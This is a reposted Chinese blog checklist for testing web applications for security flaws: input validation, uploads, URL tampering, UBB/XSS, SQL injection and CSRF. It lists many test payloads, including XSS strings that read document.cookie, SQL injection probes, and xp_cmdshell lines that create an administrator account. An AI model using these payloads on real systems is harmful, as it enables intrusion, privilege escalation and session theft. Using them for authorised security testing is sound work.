建立整體的威脅模型,測試溢出漏洞、資訊洩漏、錯誤處理、SQL 注入、身份驗證和授權錯誤。
1、輸入驗證
用戶端驗證 伺服器端驗證(禁用腳本調試,禁用Cookies)
1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)
2.輸入超長字元,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應
3.輸入特殊字元,如:~!@#$%^&*()_+<>:”{}|
4.輸入中英文空格,輸入字元串中間含空格,輸入首尾空格
5.輸入特殊字元串NULL,null,0x0d 0x0a
6.輸入正常字元串
7.輸入與要求不同類型的字元,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字
8.輸入html和javascript代碼
9.對于像回答數這樣需檢驗數字正确性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加删除等操作後檢視變化
例如:
1.輸入<html”>”gfhd</html>,看是否出錯;
2.輸入<input type=”text” name=”user”/>,看是否出現文本框;
3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。
關于上傳:
1.上傳檔案是否有格式限制,是否可以上傳exe檔案;
2.上傳檔案是否有大小限制,上傳太大的檔案是否導緻異常錯誤,上傳0K的檔案是否會導緻異常錯誤,上傳并不存在的檔案是否會導緻異常錯誤;
3.通過修改擴充名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;
4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如将超過空間的大檔案拆分上傳是否會出現異常錯誤。
5.上傳檔案大小大于本地剩餘空間大小,是否會出現異常錯誤。
6.關于上傳是否成功的判斷。上傳過程中,中斷。程式是否判斷上傳是否成功。
7.對于檔案名中帶有中文字元,特殊字元等的檔案上傳。
下載下傳:
避免輸入:\..\web.
修改命名字尾。
關于URL:
1.某些需登入後或特殊使用者才能進入的頁面,是否可以通過直接輸入網址的方式進入;
2.對于帶參數的網址,惡意修改其參數,(若為數字,則輸入字母,或很大的數字,或輸入特殊字元等)後打開網址是否出錯,是否可以非法進入某些頁面;
3.搜尋頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。
4.輸入善意字元。
UBB:
[url=http://www.****.com] 你的網站[/url]
1.試着用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.
2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用
3.輸入編輯器中不存在的UBB代碼,看是否起作用
[url=alert('hello')]連結[ /url]
[email=alert('hello')]EMail[ /email]
[[email protected] STYLE="background-image: url(alert('XSS'))"][email protected][ /email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style=”background-image:url(alert(‘alert(xss)’))”[ /img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg “onmouseover=alert(‘hello’);”[/img]
[b STYLE="background-image: url(alert('XSS'))"]一首詩酸澀澀服務網[ /b]
[i STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /i]
[u]一二三四五六七北京市[/u]
[font=微軟雅黑" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font]
[size=4" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size]
[color=Red" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color]
[align=center" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align]
[float=left" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float]
[font=微軟雅黑 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font]
[size=4 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size]
[color=Red STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color]
[align=center STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
輸出編碼
常用的測試輸入語句有:
<input type=”text”/>
<input/>
<input/
<script>alert(‘hello’);</script>
1.jpg” onmouseover=”alert(‘xss’)
“></a><script>alert(‘xss’);</script>
http://xxx’;alert(‘xss’);var/ a=’a
‘”>xss&<
a=”\” ; b=”;alert(/xss/);//”
<img src=“輸出内容” border=“0” alt=“logo” />
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
對輸出資料到輸出資料的對比,看是否出現問題。
防止SQL注入
Admin–
‘or ---–--
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
簡單的如where xtype=’U’,字元U對應的ASCII碼是85,是以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=’使用者’,可以用where name=nchar(29992)+nchar(25143)代替。
跨站腳本攻擊(XSS)
對于 XSS,隻需檢查 HTML 輸出并看看您輸入的内容在什麼地方。它在一個 HREF 标記中嗎?是否在 IFRAME 标記中?它在 CLSID 标記中嗎?在 IMG SRC 中嗎?某些 Flash 内容的 PARAM NAME 是怎樣的?
<a href="mailto:~!@#%24%25%5E&*()_+">~!@#$%^&*()_+<>,./?;’”[]{}\-</a>
%3Cinput /%3E
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘xss’)</script>
<script>alert(‘xss’);</script>
</script><script>alert(‘xss’)</script>
alert( /xss/)
javascrip&#116&#58alert(/xss/)
<img src=”#” onerror=alert(/xss/)>
<img src=”#” style=”Xss:alert( /xss/));”>
<img src=”#”/**/onerror=alert(/xss/) width=100>
=’><script>alert(document.cookie)</script>
”></a><script>alert(‘xss’);</script>
’”>xss&<
”onmouseover=alert(‘hello’);”
&{alert(‘hello’);}
>”‘><script>alert(‘XSS’)</script>
>%22%27><img%20src%3d%22alert(%27XSS%27)%22>< /p>
>”‘><img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)>
AK%22%20style%3D%22url(javascript:alert(%27XSS%27))%22%20OS%22< /p>
%22%2Balert(%27XSS%27)%2B%22
<table background=”alert(([code])">< /table>
<object type=text/html data="alert(([code]);">< /object>
<body /body>
a?<script>alert(’Vulnerable’)</script>
<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;
http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
跨站請求僞造(CSRF)
同個浏覽器打開兩個頁面,一個頁面權限失效後,另一個頁面是否可操作成功。
當頁面沒有CHECKCODE時,檢視頁面源代碼,查是是否有token。如果頁面完全是展示頁面,是不會有token的。
本文轉自 小強測試幫 51CTO部落格,原文連結:http://blog.51cto.com/xqtesting/1311169,如需轉載請自行聯系原作者